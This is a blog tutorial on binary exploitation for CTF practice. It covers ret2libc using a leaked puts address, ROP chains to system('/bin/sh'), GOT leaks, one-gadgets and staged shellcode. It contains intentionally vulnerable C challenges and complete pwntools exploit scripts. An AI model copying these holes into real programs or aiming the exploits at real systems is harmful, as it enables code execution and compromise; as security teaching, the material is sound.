Home Introduction to Pwning - Part 4
Post
Cancel

Introduction to Pwning - Part 4

This is the part four of simple pwning lecture series. The target of this series is to get started with pwning from the very basics to some advanced attack. We will be trying challenges from different CTFs as well to get familiar with the different exploitation vectors. In this lecture we will breifly try to understand how out code works and how can we get started with pwning.

Ret2libc

In the challenges we have seen before the, there is a win function which gives us the shell. Most of the times shuch functions are not present in the binary. In such cases the ret2libc attack is useful.

Introduction

(g)libc, short for GNU C Library, is a critical component of the Linux operating system. It is an implementation of the C standard library and provides essential functions and features that enable programs to interact with the underlying operating system.

If we normally compile any program (ie. without any flags), it is dynamically compiled. In that case, instead of having the source code of the required library functions like printf and puts included in binary, they are called dynamically from the libraries present on the system. This has many advantages like the size of the executable is reduced, more efficient use of resources, etc. We can see the memory region in which the libc is attached using the vmmap command inside gdb.

Libraries

As we can see the libc is loaded as libc.so.6 and the linker for it is loaded as ld-linux-x86-64.so.2. The libc library has PIE enabled and thus if we want to exploit it we would need a libc leak. If we have libc leak, then we can call any function from the libc (This statement is only partially correct as sometimes the function might not be callable as it might not have the linking data present). Also, if we have access to libc function execution, then we would also have access to the ROP gadgets present in the libc.

Exploitation

Let us try to exploit a sample challenge using ret2libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln()
{
    printf("Leak : 0x%lx\n",puts);
    char buf1[0x20];
    gets(buf1);
}

int main()
{
    vuln();
    return 0;
}

Compile the code using the following commands:

1
gcc chal.c -o chal -fno-stack-protector

If we use the ldd command then we can see which libc library are we using for dynamic linking. Let us copy the libc that the challenge is compiled with in the current directory for our convinience. In case of CTF challenges the libc will be provided and you can use the tool patchelf.

ldd

Afterwards we will use the prior knowledge of buffer overflow to get control of rip register. Using the leak that is provided to us, we can find out the base address of the libc. To find the base address, we need to find the offset of puts function and then we need to subtract that offset from the leak. This can be implemented as follows.

Let us confirm the base that if the base we have found is corect or not. We can again use the vmmap command to confirm the leak.

libc leak

As we can see we have got the leak, so we can continue with the exploitation. In order to spawn the shell we can call system(/bin/sh). To do this we need to set the rip to point to system in libc. That would be easy since we have the libc base and thus we can now find any function inside of the libc using the offset. Next we need to provide a pointer to the string /bin/sh in the rdi register. Such pointers are present inside of the libc itself. We can find the offset to these pointers using the grep command or we can search it inside of libc using python. This can be done as follows.

1
2
libc = ELF("./libc.so.6",checksec=False)
next(libc.search(b"/bin/sh\x00"))

In this case we dont have the rdi gadget inside of our binary. Thus we need to use the gadgets of libc in order exploit the program. We can dump the rop-gadgets and then add the libc base address to get the actual gadget.

Thus we will get the shell. The exploit to the above challenge is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

elf = context.binary = ELF("./kek",checksec=False)
p = elf.process()

libc = ELF("./libc.so.6",checksec=False)

gdb.attach(p,'''
    init-gef
''')

p.recvuntil(": ")
x = int(p.recvline()[:-1],16)
print(x)
libc.address = x - libc.sym.puts
log.critical(f"[+] libc base: {hex(libc.address)}")

binsh = next(libc.search(b"/bin/sh\x00"))

rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6

payload = b"a"*40 + p64(rdi) + p64(binsh) + p64(ret) + p64(libc.sym.system)
p.sendline(payload)


p.interactive()

Alternately is the leak is not given to us, we can also get a leak by the use of got entries. To do that we need to push the got entry into rdi and then call a function like puts to leak the libc. The exploit would look something like this

1
payload = b"a"*offset + p64(pop_rdi_ret) + p64(elf.got.puts) + p64(elf.plt.puts) + p64(return_to_original_function)

Additionally instead of calling system("/bin/sh") we can use one-gadgets that can give use RCE. One gadgets are pieces of code inside of libc that call execve("/bin/sh",0,0). They can be found out using the one gadget tool. The gadgets have certain conditions in which they work and thus not all gadgets might work in exploit.

In case if we dont have the libc version we could try to find it out by leaking multiple values and using libc database to find out the libc version

Using syscall

In addition to controling the rip value we can also make syscalls. This is possible because libc contains the syscall; ret gadget which is not found in binary by default. Syscalls are specifically useful in the challenges in which seccomp is enabled. In those cases we need to make syscalls to get the flag.

To dump the syscall gadget we need to use the --multibr flag in ROPgadget. Make sure you use the syscall;ret gadget and not the syscall gadget as it might lead to some issues. Also, libc contains various other gadgets which are useful. Using them we can directly control all the registers. To make the syscall, we need to load the registers with the required arguments and then call the syscall gadget from libc. The details on how to make syscalls can be found in this blog.

Shellcode

Till this point we have not talked about NX. NX stands for no execute. It makes that the stack of the program is not executable. So in case NX is not present we can put the shellcode on the stack and then we can call the shellcode. In that case we have to write the shellcode in the executable region and then point the rip to the region. This also works in case of mmap. mmap is a syscall that is used for memory allocation. If the memory region that is allocated is executable, we can write shellcode there and then execute it by controlling the rip.

Fun fact: Even malloc internally calls mmap in order to allocate memory.

Here is a sample challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

void vuln()
{
    char *executable_region;
    executable_region = (char *)mmap((void *)0x13370000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_SHARED|MAP_ANONYMOUS,-1,0);
    printf("Shellcode here\n");
    fgets(executable_region,10,stdin);
    ((void(*)())executable_region)();
}

int main()
{
    vuln();
    return 0;
}

As we can see its very tough to fit out execve('/bin/sh',0,0) shellcode in 10 bytes. Thus we will first use the read syscall to read our execve shellcode and then execute it giving us shell. Thus the read shellcode will be as follows:

1
2
3
    xor edi, edi
    mov esi, 0x13370009
    syscall

The values of rax and rdx registers were already set to the required amount hence they are not required here. Also I have used 32 bit registers to make the shellcode smaller.

Note: Try to debug and find out why the value 0x13370009 is moved into esi

Here is the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

elf = context.binary = ELF("./chall",checksec=False)
p = elf.process()

context.arch = 'amd64'

# gdb.attach(p,'''
#     init-gef
#     b *vuln+101
#     c
#     si
# ''')

shellcode = asm('''
    xor edi, edi
    mov esi, 0x13370009
    syscall
''')

print(len(shellcode))
p.sendline(shellcode)

sleep(1)

p.sendline(asm(shellcraft.sh()))

p.interactive()

Resources

Libc database
Ret2libc challenge

This post is licensed under CC BY 4.0 by the author.